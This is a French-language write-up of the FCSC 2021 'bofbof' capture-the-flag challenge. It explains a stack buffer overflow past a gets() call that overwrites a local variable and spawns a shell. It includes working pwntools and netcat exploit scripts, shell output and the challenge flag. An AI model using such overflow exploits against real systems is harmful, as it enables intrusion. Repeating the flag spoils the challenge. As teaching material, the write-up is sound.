FCSC 2021 - Intro - bofbof

Your goal is to get a shell on the target machine and read the file flag.txt.

nc challenges2.france-cybersecurity-challenge.fr 4002

SHA256(bofbof) = bd78bff2d72fcc6ebc82f248ea14761d66fc476aca13eed22db541f2960f9fce.

Files :


Résolution

Tout d’abord, jouons un peu avec le binaire du challenge pour voir si il y a moyen de provoquer un signal SIGSEGV (Segmentation fault). Lorsqu’on met plein de A en entrée (60 A ici), le programme plante :

$ ./bofbof
Comment est votre blanquette ?
>>> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)

Nous pouvons supposer que nous avons réécrit sur une adresse de retour sauvegardée dans la stack, et que le programme plante au moment du ret final de la fonction main.

Nous désassemblons le binaire avec Ghidra et nous obtenons le code décompilé de la fonction main:

undefined8 main(void) {
  char local_38 [40];
  long local_10;

  local_10 = 0x4141414141414141;
  printf("Comment est votre blanquette ?\n>>> ");
  fflush(stdout);
  gets(local_38);
  if (local_10 != 0x4141414141414141) {
    if (local_10 == 0x1122334455667788) {
      vuln();
    }
    puts("Almost there!");
  }
  return 0;
}

Pour accéder au shell (via la fonction vuln()) nous devons réécrire sur la valeur de la variable locale local_10 (déclarée dans la stack). Pour cela nous réalisons un stack buffer overflow au moment du gets(local_38); permettant de réécrire sur la valeur de la variable locale local_10.

Deux options pour réaliser l’exploitation, soit avec une payload dans un fichier, que nous envoyons via netcat, soit directement avec la librairie pwntools de python.

Avec cat payload et pipe netcat

Pour cette technique, nous créons dans un premier temps le fichier contenant la payload en raw bytes grâce à quelques lignes de python :

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import pwn

offset = 5*8
payload = b'A'*offset + pwn.p64(0x1122334455667788)
f = open('payload.raw','wb')
f.write(payload)
f.close()

Ensuite nous réalisons un cat de la payload.raw et de - (correspondant à l’entrée standard stdin, ce qui permet d’interagir avec le service après l’envoi de la payload)

$ (cat ./payload.raw -) | nc challenges2.france-cybersecurity-challenge.fr 4002
Comment est votre blanquette ?
>>>
ls -lha
total 32K
drwxr-xr-x 1 root root 4.0K Apr 21 13:49 .
drwxr-xr-x 1 root root 4.0K Apr 23 12:43 ..
-r-x------ 1 ctf  ctf   17K Apr 21 13:48 bofbof
-r-------- 1 ctf  ctf    71 Apr 21 13:47 flag.txt
cat flag.txt
FCSC{ec30a448a777b571734d8d9e4036b3a6e87d1005446f80dffb26c3e4f5cd02ba}

Avec la librairie pwntools de python

Avec la librairie python pwn (installable avec python3 -m pip install pwntools), il suffit de créer un socket, et d’envoyer notre payload avec sendline. Ensuite nous pouvons récupérer l’accès interactif au shell grâce à la fonction .interactive() :

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import pwn

offset = 5*8
payload = b'A'*offset+pwn.p64(0x1122334455667788)

c = pwn.remote("challenges2.france-cybersecurity-challenge.fr",4002)
c.sendline(payload)
c.interactive()

Nous obtenons donc un shell interactif juste après l’envoi de la payload :

$ ./solve.py
[+] Opening connection to challenges2.france-cybersecurity-challenge.fr on port 4002: Done
[*] Switching to interactive mode
Comment est votre blanquette ?
>>> $ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ ls -lha
total 32K
drwxr-xr-x 1 root root 4.0K Apr 21 13:49 .
drwxr-xr-x 1 root root 4.0K Apr 23 12:43 ..
-r-x------ 1 ctf  ctf   17K Apr 21 13:48 bofbof
-r-------- 1 ctf  ctf    71 Apr 21 13:47 flag.txt
$ cat fl
$ cat flag.txt
FCSC{ec30a448a777b571734d8d9e4036b3a6e87d1005446f80dffb26c3e4f5cd02ba}
$  

Et nous obtenons le flag :

FCSC{ec30a448a777b571734d8d9e4036b3a6e87d1005446f80dffb26c3e4f5cd02ba}